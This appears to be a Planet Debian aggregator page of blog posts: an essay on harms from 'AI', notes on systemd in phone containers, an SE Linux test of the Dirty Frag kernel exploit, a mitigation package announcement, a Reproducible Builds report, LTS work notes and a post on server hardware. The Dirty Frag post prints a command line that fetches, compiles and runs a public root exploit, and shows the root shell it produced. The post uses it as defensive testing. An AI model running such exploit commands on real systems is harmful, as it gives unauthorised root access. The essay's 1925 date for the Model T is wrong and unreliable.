We have seen a lot of evidence of law enforcement and the court system based on bias leading to bad results. The Innocence Project attempts to correct that and it’s web site documents some of the things that have gone wrong [15]. Using “AI” systems to do some of the work of law enforcement by training computers on the flawed results of current systems can entrench bias and also make it harder to spot.

When determining whether someone should be considered a suspect or whether a prisoner should be eligible for parole the number of factors that a human can use is limited. But a computer can take many more factors into account so the issues of whether inappropriate factors are being used can be masked. Computers are also unable to explain decisions that they made and are also able to come up with better fake reasons.

In the past there have been racist policies in the US about banks not lending to people living in suburbs where most houses were owned by non-white people, these policies were documented and the documents have become part of the historical record showing racist policies. If a LLM decides not to lend money to people based on mathematical correlations it determined based on historical banking practices it could assign negative weights to factors such as non-English names and implement the racism in a large array of numbers with no proof.

The current cases of lawyers getting LLM systems to do some of their work and having their incompetence revealed when the computer generated work is shown to be ridiculously bad are amusing. But that is not the real problem. The real problems will start when the computers in police cars start flagging every car owned by a non-write person as having a “probable cause” for a drug stop.

Technically Not Financial Fraud

The majority of the ecosystem around “AI” is a financial scam [16]. There are companies and individuals doing good things with machine learning some of which is based on hardware and software developed as part of this ecosystem. But the majority of it has no plausible path to profits and a the future of it inevitably ends with some bankruptcies. There are circular flows of money that have the major cloud providers and NVidia looped in, when the values of these companies correct it will become apparent that they have all burned a lot of money keeping this running and all the senior people have got a share of it (the entire purpose of stock options is to allow senior people to suck money out of the company). Then every cloud provider will increase costs while under chapter 11 and all the companies that depend on them will pay whatever it takes. That includes all major companies and most governments. Unlike the dot-com boom and crash and the housing crash the coming financial crash will impact every company that we deal with and most governments. So the people in first-world countries will effectively be taxed to pay for this scam while the executives go party in Monaco. This may seem like an extreme claim but it all happened before with the dot com crash and the housing market crash.

The CEO class has an ongoing practice of doing things that aren’t crimes because they lobby (bribe) politicians to make them legal. So the current stock market shenanigans around “AI” don’t seem to involve things that governments consider to be crimes. But any normal person might be surprised to learn that such things are legal and most people would vote for such things to be crimes if they had the opportunity.

A global financial crisis is the least of the problems that seem likely to afflict society from “AI” systems. But it will be more immediately obvious when it happens – which could be this year!

Propaganda

Creating art requires skills that the type of people who want to create propaganda tend to lack. “AI” technologies allow creating “art” that is based on mathematical models of actual art to the requirements of the person running the program.

I have seen the term “AI Fascism” used to describe the use of “AI” to help authoritarian governments. I am dubious about whether it deserves that term and while every article I’ve read about the topic has had some good points I thought that they were all weak points.

But there are lots of ways that governments can abuse their populations without going full fascist. In the last century there were lots of truly terrible governments that didn’t even make the top 10 of fascism.

AI Sycophants

Bruce Schneier wrote an informative blog post about AI Chatbots and Trust which focused on sycophantic chatbots [17]. We have seen a lot of evidence of terrible behaviour and stupid decisions from rich people due to having no negative consequences for bad choices. The vast majority of the history of kings concerns bad decisions made by such people. A future where middle class and poor people can make the same bad decisions as rich people wouldn’t be good.

Good Things About ML

Machine Learning (abbreviated as ML) can do useful things. It’s not just Large Language Models (LLMs) such as ChatGPT etc. There are also ML systems that can analyse images and other data sets.

I have found ChatGPT to be very useful for making suggestions for improving blog posts. I don’t get it to write anything just ask for suggestions. It has pointed out things that I missed such as when I didn’t include the price when reviewing a car because the car in question was much more expensive than I will ever pay, the price wasn’t relevant to me but would be to some readers. It has also made useful suggestions about structure of blog posts, repeating points, and having a good conclusion. It has some downsides which include trying to erase my voice from my writing, suggesting that the rhetorical question “does email suck?” is unprofessional.

I have worked for a company that used ML systems to analyse driver performance and alert people if a driver is falling asleep, using a phone, or otherwise seems unable to drive safely. Their business model involved a human reviewing the images from the drivers the computer flagged and then determining who is actually doing the wrong thing. This seems a good use of the technology.

I have also worked for a company that used ML systems to analyse the performance of bank employees and detect potentially fraudulent behaviour. Preventing crime seems to be clearly a good thing and in this case the manager of the employee in question would review the evidence to make sure that they weren’t being falsely accused.

Conclusion

I don’t think that the problems with managing the changes that so called “AI” is introducing are particularly new. An example of how society handles change that’s worth considering is car safety. The seat belt first became mandatory for aeroplanes in some jurisdictions in 1928. The Model T Ford is widely regarded as the first vehicle to start a mass market for cars and it was released in 1925. So if society acted in a reasonable way then for the majority of mass market cars seat belts would have been a standard feature. However seat belts were first made compulsory in 1970 in Victoria Australia and there are still people who think that they are safer without seat belts! The delay in adoption of car seat belts is only one example of needless deaths caused by not taking reasonable measures for car safety but it’s one that’s easy to demonstrate and measure.

The difference between past problems like car safety and the current problems of “AI” is that the “AI” problems will be more pervasive. Most of my history as a car driver and car passenger was in cars that are much less safe than cars made in the last 10 years. But partly through luck I’ve never been in a serious crash so being in cars that wouldn’t have given me a low probability of surviving a freeway speed crash didn’t affect me. There is no possibility that through any combination of luck and skill someone could avoid the downsides of “AI”. If nothing else the results of elections will be affected and no-one can avoid that.

As a society we really need to address the real issues related to “AI” which in some cases requires legislation.

Related posts:

  1. Links April 2026 Charles Stross wrote an interesting blog post about the apparent...
  2. Links August 2012 Google are providing some really good employee benefits including benefits...
  3. Being Obviously Wrong About Autism I’m watching a Louis Theroux documentary about Autism (here’s the...
  •  

Russell Coker: Systemd, Mobile Linux, and Containers

9 Mei 2026 om 10:35

I’ve had some problems running apps I want on my Furilabs FLX1s [1], so I decided to install some container environments to test various versions. I started with Debian/Testing so I can test the build process for some packages I’m about to upload to Unstable.

Systemd Issues

When running debootstrap testing testing to setup the chroot the process aborted with errors including the following from the systemd postinst:

Failed to enable units: Protocol driver not attached.
Cannot open '/etc/machine-id': Protocol driver not attached

This turned out to be from trying to run systemctl in the postinst, I just removed the “set -e” line from /chroot/testing/var/lib/dpkg/info/systemd.postinst and kept on going (I’m not planning to actually use systemd so it’s failure to setup wasn’t a problem).

Then I installed a bunch of -dev packages needed to build my package which had a dependency chain that included udev leading to the following error:

Setting up udev (260.1-1) ...
Failed to chase and open directory '/etc/udev/hwdb.d', ignoring: Protocol driver not attached
Failed to chase and open directory '/usr/lib/udev/hwdb.d', ignoring: Protocol driver not attached

Udev is also a part of systemd.

Googling for this turned up a closed systemd bug about this indicating that it has a minimum kernel version of 5.10 [2]. The Furiphone has kernel 4.19.325-furiphone-radon due to being based on Android.

Checking the kernel version isn’t that hard to do, if the systemd programs in question checked the version and reported “can’t run on kernels prior to 5.10 then it would avoid a lot of confusion – and also bug reports that the systemd developers don’t want.

Some Debian package dependencies can probably do with revision. Installing the packages “libkdb3-dev libkf5archive-dev qtdeclarative5-dev qtpositioning5-dev qttools5-dev” ideally wouldn’t have a dependency chain leading to udev.

The Furilabs people appear to have patched the latest Debian version of systemd to work with the older kernels, the version is currently 260.1-1+furios0+git20260425023744.8401044.forky.production.

Compile Times

I got this working by just editing every postinst script and either removing the “set -e” or adding an “exit 0” at the top, I don’t need things to be configured properly for a running OS I just need the files in the right locations for a container.

One issue I discovered when I started compiling is that it was only running on 1 core and the “nprocs” program was returning “1”. The “lscpu” program showed that only 1 of the 8 cores was online, it was a single Cortex-A78 core. Some combination of putting it in “caffeine mode” and having the screen on enabled all 6*Cortex-A55 and 2*Cortex-A78 cores.

The below table compares compiling Harbour-Amazfish on the Furiphone with all 8 CPU cores active, my E5-2696 v4 workstation (almost the fastest socket 2011-3 CPU ever made), running ARM64 software emulation on a system with two E5-2699A v4 CPUs, and a Radxa 8 core ARM SBC (which I will review in a future blog post).

Given that the source apparently limits the parallelism to less than 7 cores on average it’s pretty impressive for the elapsed time to be only 2.5* longer on the phone. Emulating the ARM64 build at about 4* the system CPU time is impressive too, as the system has 4.5* as many CPU cores it could theoretically compile ARM code faster than the native ARM hardware I own for any project that uses enough cores.

System User time System time Elapsed %CPU
Furiphone 2252.76 164.51 7:00.88 574
E5-2696 v4 workstation 679.64 119.07 1:58.63 673
2*22core Intel CPUs (qemu) 8476.65 113.14 10:24.57 1375
Radxa 2011.45 239.40 6:25.55 583

Related posts:

  1. Ethernet Interface Naming With Systemd Systemd has a new way of specifying names for Ethernet...
  2. SE Linux Status in Debian 2012-01 Since my last SE Linux in Debian status report [1]...
  3. Anti-Systemd People For the Technical People This post isn’t really about technology,...
  •  

Russell Coker: Dirty Frag on Debian and SE Linux

8 Mei 2026 om 07:11

Hot on the heels of the Copy Fail vulnerability [1] there is a new vulnerability Dirty Frag [2] (I linked to the Alma Linux page because it’s the first one I saw and it explains things well).

The Test System

The test system was running kernel 6.19.14+deb14-amd64 and had the configuration after my last test of Copy Fail which was a default configuration with the following commands run:

semanage login -m -s user_u -r s0 __default__
restorecon -R -v -F /home
semanage login -m -s root -r s0 root
# logout and login again
semodule -X 100 -r unconfined

Strict Policy is Not Vulnerable

I did a quick test on a Debian SE Linux system with a user running as user_t (which is often referred to as “strict policy”) and got the following result:

test@testing1:~/t$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (26/26), 5.83 MiB | 11.47 MiB/s, done.
Resolving deltas: 100% (9/9), done.
dirtyfrag: failed (rc=1)
test@testing1:~/t/dirtyfrag$ ./exp 
dirtyfrag: failed (rc=1)

I checked the audit log and saw the following:

# audit2allow -al
#============= user_t ==============
allow user_t self:rxrpc_socket create;
allow user_t self:user_namespace create;

It seems that the rxrpc_socket access is the main thing.

I did a search for domains permitted to use that class on a system without unconfined domains and saw the following:

# sesearch -A -c rxrpc_socket
allow daemon init_t:rxrpc_socket { getattr getopt ioctl read setopt write };
allow devicekit_disk_t domain:rxrpc_socket getattr;
allow sosreport_t domain:rxrpc_socket getattr;
allow sysadm_t domain:rxrpc_socket getattr;

This configuration doesn’t appear to be vulnerable, at least to this form of the attack.

Unconfined Domains

I reinstalled the unconfined policy with the following command and assigned it to the user test2 with the following commands:

semodule -X 100 -i /usr/share/selinux/default/unconfined.pp.bz2
semanage login -a -s unconfined_u test2
restorecon -R -v -F /home/test2

I then tested the exploit as user test2 and got the following result:

test2@testing1:~$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (26/26), 5.83 MiB | 16.57 MiB/s, done.
Resolving deltas: 100% (9/9), done.
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# 

The kernel message log had the following lines from the time of the attack:

[ 1310.861545] Initializing XFRM netlink socket
[ 1310.909048] alg: No test for authencesn(hmac(sha256),cbc(aes)) (authencesn(hmac-sha256-lib,cbc-aes-aesni))
[ 1310.909935] alg: No test for echainiv(authencesn(hmac(sha256),cbc(aes))) (echainiv(authencesn(hmac-sha256-lib,cbc-aes-aesni)))
[ 1318.353602] process 'su' launched '/bin/sh' with NULL argv: empty string added

Conclusion

It seems that we will be getting a lot of these so running SE Linux users as user_t is the right thing to do for servers and multi user systems.

Related posts:

  1. Copy Fail on Debian and SE Linux I have just learned of the Copy Fail kernel vulnerability...
  2. SE Linux Lenny Status Update I previously described four levels of SE Linux support on...
  3. New SE Linux Policy for Lenny I have just uploaded new SE Linux policy packages for...
  •  

Daniel Baumann: Debian: Linux Vulnerability Mitigation (Dirty Frag)

8 Mei 2026 om 05:19

After Copy Fail [CVE-2026-31431] from last week, the new Linux local root privilege escalations of today are Dirty Frag (Part 1) aka Copy Fail 2 [CVE-2026-43284] and Dirty Frag (Part 2) [CVE-2026-43500].

For those who can not update to linux >= 7.0.4-1 that was uploaded to sid and contains the needed fixes (backports for trixie are available in trixie-fastforward-backports), or are waiting for backports and updates to older Debian releases, or can’t reboot on short notice, mitigations might be needed.

Given the current trend, it seems we will see more of these bugs in the future. Therefore, I’ve uploaded a new package linux-vulnerability-mitigation to sid containing the mitigation for both Copy Fail and Dirty Frag (with debconf multiselect).

It can also be downloaded from here:

The package is architecture independent, has no dependencies, and can be installed on any version of Debian or Debian derivative.

Updates:

  • Added references to Dirty Frag Part 2 [CVE-2026-43500]

  • Updated links to linux-vulnerability-mitigation now that it passed the NEW queue

  •  

Reproducible Builds: Reproducible Builds in April 2026

7 Mei 2026 om 23:16

Welcome to our April 2026 report from the Reproducible Builds project!

Our reports outline what we’ve been up to over the past month, highlighting items of news from elsewhere in the increasingly-important area of software supply-chain security. As ever, if you are interested in contributing to the Reproducible Builds project, please see the Contribute page on our website.

In this month’s report, we cover:

  1. Tor stateless relays and Reproducible Builds
  2. Civil Infrastructure Platform celebrates 10 years of supporting industrial grade Linux
  3. Reproducible Builds at LinuxFest NorthWest
  4. Reproducibility issues in Rust binaries that embed random bytes
  5. Distribution work
  6. Patches
  7. diffoscope development
  8. Documentation updates
  9. Misc news


Tor stateless relays and Reproducible Builds

An interesting post was published on Tor Project blog by Osservatorio Nessuno OdV this month on “stateless relays”. These are stateless, diskless operating systems that are designed to be used as Tor exit relays. According to the post, which is titled A Server That Forgets: Exploring Stateless Relays:

For relay operators, this approach raises the security bar by enforcing better behaviors by design: […]

  1. Reproducibility. A system that doesn’t change between reboots is easier to verify and, eventually, to reproduce and audit.

Furthermore, using a Trusted Platform Module (TPM), could allow for greater integrity in the future:

Transparency logs. Once you have a measured boot chain, you can publish it. A relay operator provides a recipe for a reproducible build; anyone can recompute the expected hash and verify it matches what the TPM reports. An append-only transparency log can make these attestations publicly auditable. The Tor community could run an independent monitor to track this across the relay fleet.


Civil Infrastructure Platform celebrates 10 years of supporting industrial grade Linux

Congratulations to the Civil Infrastructure Platform (CIP) for reaching their 10-year anniversary last month. CIP has been a supporter of Reproducible Builds for many years, and we have collaborated on a number of technical issues that overlap. As Chris Lamb mentions in CIP’s press release:

The collaboration between the Reproducible Builds project and CIP highlights a critical shift in how we approach industrial software. Through verifiability, CIP ensures that the open source foundation of our critical infrastructure is not only sustainable but also demonstrably secure. This commitment to transparency is vital for the trust and resilience required by critical systems over decades of operation.”


Reproducible Builds at LinuxFest NorthWest

Vagrant Cascadian and Chris Lamb hosted a table in the exposition hall at LinuxFest NorthWest 2026 this month in Bellingham, WA, USA, introducing many people to Reproducible Builds and answering questions both days of the conference.

In addition, Vagrant presented Beyond Trusting Open Source Software on Sunday afternoon, exploring the intersection of Free/Open Source Software, Reproducible Builds and Bootstrappable builds, and how they all reinforce each other. Vagrant’s slides are available online, including source code to build them reproducibly.


Reproducibility issues in Rust binaries that embed random bytes

Reproducible Builds developer kpcyrd opened a ticket on the Rustsec issue tracker regarding binaries that deliberately inject random bytes into their binaries “as a secret seed for a Hash Collision DoS mitigation.”

As kpcyrd notes in his message, this causes issues for reproducibility, and because the relevant end-user binaries are “mostly distributed pre-compiled through package managers, those binaries (and by extension the secret seed) are public knowledge”. kpcyrd goes on to note:

This is somewhat unique to Rust because Python/JavaScript doesn’t compile binaries, and Go (to my knowledge) is too restrictive during build for any library to pull something like this.


Distribution work

In Arch Linux this month, Robin Candau and Mark Hegreberg worked at adding a new repro tag/version to the Arch Linux Docker images providing a bit-for-bit reproducible image. Robin also shared a related announcement and implementation details on our mailing list.

Arch Linux developer Robin Candau posted a blog post announcing that “Arch Linux Now Has a Bit-for-Bit Reproducible Docker Image”. Robin mentions one interesting caveat:

to ensure reproducibility, the pacman [package manager] keys have to be stripped from the image, meaning that pacman is not usable out of the box in this image. While waiting to find a suitable solution to this technical constraint, we are therefore providing this reproducible image under a dedicated tag as a first milestone. []

The blog post was also discussed on Hacker News.


In Debian this month, 24 reviews of Debian packages were added, 7 were updated and 16 were removed this month adding to our knowledge about identified issues.

Vagrant Cascadian performed Non-Maintainer Uploads (NMUs) in Debian for several packages with outstanding patches over a year old jakarta-jmeter, wxmplot, critcl, vcsh and magic-wormhole-transit-relay.

In addition, Reproducible Builds developer Jochen Sprickerhof filed a bug against the APT package manager to request that “APT should ignore [a] 0 epoch when downloading or installing with a version specifier”. This is related to the special-case handling of the optional epoch prefix in Debian package version numbers.


In NixOS, Julien Malka presented Lila: Decentralized Build Reproducibility Monitoring for the Functional Package Management Model, a paper written together with Arnout Engelen at the Mining Software Repositories (MSR) ACM conference, where it was awarded the MSR 2026 FOSS Impact Award. Congratulations!


Lastly, in openSUSE, Michael Schroeder added reproducibility verification support in the Open Build Service [] and Bernhard M. Wiedemann posted another openSUSE monthly update for their reproducibility work there.


Patches

The Reproducible Builds project detects, dissects and attempts to fix as many currently-unreproducible packages as possible. We endeavour to send all of our patches upstream where applicable or possible. This month, we wrote a large number of such patches, including:


diffoscope development

diffoscope is our in-depth and content-aware diff utility that can locate and diagnose reproducibility issues. This month, Chris Lamb made a number of changes, including preparing and uploading versions, 316, 317 and 318 to Debian.

  • Chris Lamb:

    • Bump Standards-Version to 4.7.4. []
    • Correct ordering of python3-guestfs architecture restrictions. []
    • Limit python3-guestfs Build-Dependency to architectures that are not i386. []
    • Try to fix PYPI_ID_TOKEN debugging. []
  • Holger Levsen:

    • Add ppc64el to the list of python3-guestfs architecture whitelist. (Closes: #1132974). []

In addition, Vagrant Cascadian updated diffoscope in GNU Guix to version 317.


Documentation updates

Yet again, there were a number of improvements made to our website this month including:


Misc news

On our mailing list this month:

  • Timo Pohl posted our list inviting people to “online group discussions with 4-6 participants each to talk about your perception of terms and requirements for reproducibility.” As Timo notes:

    During our research of the existing literature, as well as my experience at the Reproducible Builds Summit 2025 in Vienna, we noticed that some of the terminology in the field is not used consistently across different groups of people, and that the precise meaning of some core terms like “reproducibility of an artifact” in itself is not uniform.

    As Timo mentions, the sessions will last roughly 90 minutes and will be rewarded with 50€ per participant.

  • kpcyrd posted to the list asking for assistance with fixing an issue after updating the flake.lock file for their repro-env project.

  • Aman Sharma of the KTH Royal Institute of Technology, Sweden, posted to our list in order to share that Eric Cornelissen, a PhD student in KTH’s CHAINS group, is maintaining an open-source project to monitor the reproducibility of GitHub Actions:

    The goal of the project is to assess whether GitHub Actions can be reproduced. Currently, it focuses on two types of Actions: JavaScript-based actions and Docker-based actions (composite actions are not considered). For JavaScript actions, the project rebuilds the distributed files and compares them bit-by-bit with the repository contents. For Docker actions, it rebuilds images from the Dockerfile and checks for semantic equivalence, using diffoci, across builds.



Finally, if you are interested in contributing to the Reproducible Builds project, please visit our Contribute page on our website. However, you can get in touch with us via:

  •  

Thorsten Alteholz: My Debian Activities in April 2026

5 Mei 2026 om 16:24

Debian LTS/ELTS

This was my hundred-forty-second month that I did some work for the Debian LTS initiative, started by Raphael Hertzog at Freexian.

During my allocated time I uploaded or worked on:

  • [DLA 4530-1] gst-plugins-bad1.0 security update to fix two CVEs related to denial of service or execution of arbitrary code if a malformed media file is opened.
  • [DLA 4544-1] ntfs-3g to fix one CVE related to local root privilege escalation.
  • [DLA 4545-1] packagekit security update to fix one CVE related to local privilege escalation.
  • [DLA 4547-1] gimp security update to fix three CVEs related to denial of service or execution of arbitrary code if a malformed PSP, JPEG 2000 or PSD file is opened.
  • [ELA-1682-1] gst-plugins-bad1.0 security update to fix two CVEs in Buster and Stretch related to denial of service or execution of arbitrary code.
  • [ELA-1689-1] ntfs-3g security update to fix one CVE in Buster and Stretch related to local root privilege escalation..
  • [ELA-1693-1] pakagekit security update to fix one CVE in Buster and Stretch related to local privilege escalation.
  • [#1126167] bookworm-pu upload of zvbi
  • [#1126273] bookworm-pu upload of taglib
  • [#1126370] bookworm-pu upload of libuev
  • [libcoap3] upload to sid to fix two CVEs related to out-of-bounds read and stacked based buffer overflow.
  • [#1134340] trixie-pu bug for libcoap3 to fix two CVEs in Trixie.
  • [cups] upload to sid to fix six CVEs.

I also did a week of front desk duties and started to work on backports of the cups CVEs.

Debian Printing

This month I uploaded a new upstream versions:

Unfortunately the first upload of cups introduces a regression and another upload was needed to take care of a crash. The patch for one CVE also broke a test script, which is used by lots of printing packages in Debian. As a result some autopkgtest runs failed. This could be fixed as well and the only remaining issue that needs some more investigation is related to cups-pdf.

This work is generously funded by Freexian!

Debian Lomiri

This month I continued to work on unifying packaging on Debian and Ubuntu. This makes it easier to work on those packages independent of the used platform.

I also started working on two new packages: lomiri-radio-app and lomiri-fretboardtrainer-app

This work is generously funded by Fre(i)e Software GmbH!

Debian Astro

This month I uploaded a new upstream version or a bugfix version of:

Debian IoT

This month I uploaded a new upstream version or a bugfix version of:

Marcos Talau joined the Debian IoT group, welcome aboard.

Debian Mobcom

This month I uploaded a new upstream version or a bugfix version of:

misc

This month I uploaded a new upstream version or a bugfix version of:

  •  

Russell Coker: Tower Servers and Resizable BAR

4 Mei 2026 om 10:22

A feature on modern PCIe implementations is “Resizable BAR” AKA “REBAR”. This basically means that instead of allocating 256MB of address space for a PCIe device to have it’s memory mapped the device can ask for more, the limit can be 4G with some hardware or the combination of motherboard and expansion card can support 64bit addressing to allow the entire memory space of a GPU to be mapped in one region. Directly mapping all the memory will be faster no matter how things work, but a combination of algorithms optimised for a flat memory layout and overheads from remapping can cause 90% of performance to be lost without REBAR support. Some GPUs (or maybe the software driving them) will even refuse to work without it.

I believe that almost all hardware supporting DDR4 will support REBAR at a hardware level, but in many cases the BIOS doesn’t support it. There are people who have reflashed a system BIOS to add REBAR support and there are options to use a modified UEFI boot loader to replace the code that is used for mapping the GPU memory.

The systems I like to use are server grade tower systems with registered ECC RAM, after a few years they become quite cheap and still give decent performance while supporting large amounts of RAM. But many such systems that could support REBAR don’t, presumably because the vendor doesn’t have a great interest in supporting new uses of old hardware.

Comparing the Name Brand Servers

The HP Z640 and Z840 systems I’m running date from 2014 and give good performance with replacement CPUs that are cheap on ebay, but they don’t support REBAR without a flashed BIOS. The next release of those HP servers are the HP Z6 and Z8 Gen 4 systems from 2017 that have BIOS support for enabling REBAR.

The Lenovo Thinkstation Px20 (P520, P920, etc) don’t support REBAR which is especially disappointing as they were on sale from 2017 to 2022 and have decently fast CPUs. The replacement for the Px20 systems are the ones that are still on sale now and they seem likely to have REBAR support – but won’t be affordable on ebay.

The Dell PowerEdge T440 and R740 systems (and presumably all their servers from 2017) don’t support REBAR. There are no google hits for T550 and R750 systems from 2021, so presumably no complaints means that Dell servers from that era support it. But the T350 servers are junk and only take slow CPUs, and the T550 systems are brutally expensive. The Precision 5520 systems don’t support it and newer Precision workstations will get expensive.

It seems that HP is best for this.

Which HP Workstation

The Z2 G4 only supports 64G of RAM so isn’t worth considering.

The Z4 G4 is low end and comes in two variants. The one with i5/i7/i9 CPUs doesn’t support ECC RAM so isn’t suitable for me, and that probably means most Z4 G4 systems on the market. The upside is that apparently 2*6pin PCIe power cables is standard so any size GPU should work and there are 8 DIMM slots supporting up to 512G of RAM. There are 3 options for PSU, 490w for 0 GPUs, 750W for 2 (small) GPUs, and 1000W for up to 4 GPUs.

The Z6 G4 has an option for a second CPU that almost no-one selects, that reduces the space for RAM so there’s only 6 DIMM slots. But as there is no option for a Z6 without ECC RAM every one on offer will be good.

The Z8 G4 is a nice dual socket system that I would not use for a serious GPU after my experience of my Z840 having a motherboard problem from a big GPU.

The Z4 G4 is going for about $500 on ebay with the 750W PSU, that is more than I want to pay but not a lot more. In 6 months they could be going for $350 or so. There are hardly any Z6 G4 systems on offer and they are all well over $1000 so I’m not considering them.

Conclusion

I need to poll the second hand sites for Z4 G4 systems and find one going cheap. One of those could be a good ML test machine for a while and then become a workstation once the faster CPUs (which are currently around $900) become cheap.

Related posts:

  1. Planning Servers for Failure Sometimes computers fail. If you run enough computers then you...
  2. Dell PowerEdge T30 I just did a Debian install on a Dell PowerEdge...
  3. Servers vs Phones Hetzner have recently updated their offerings to include servers with...
  •  
❌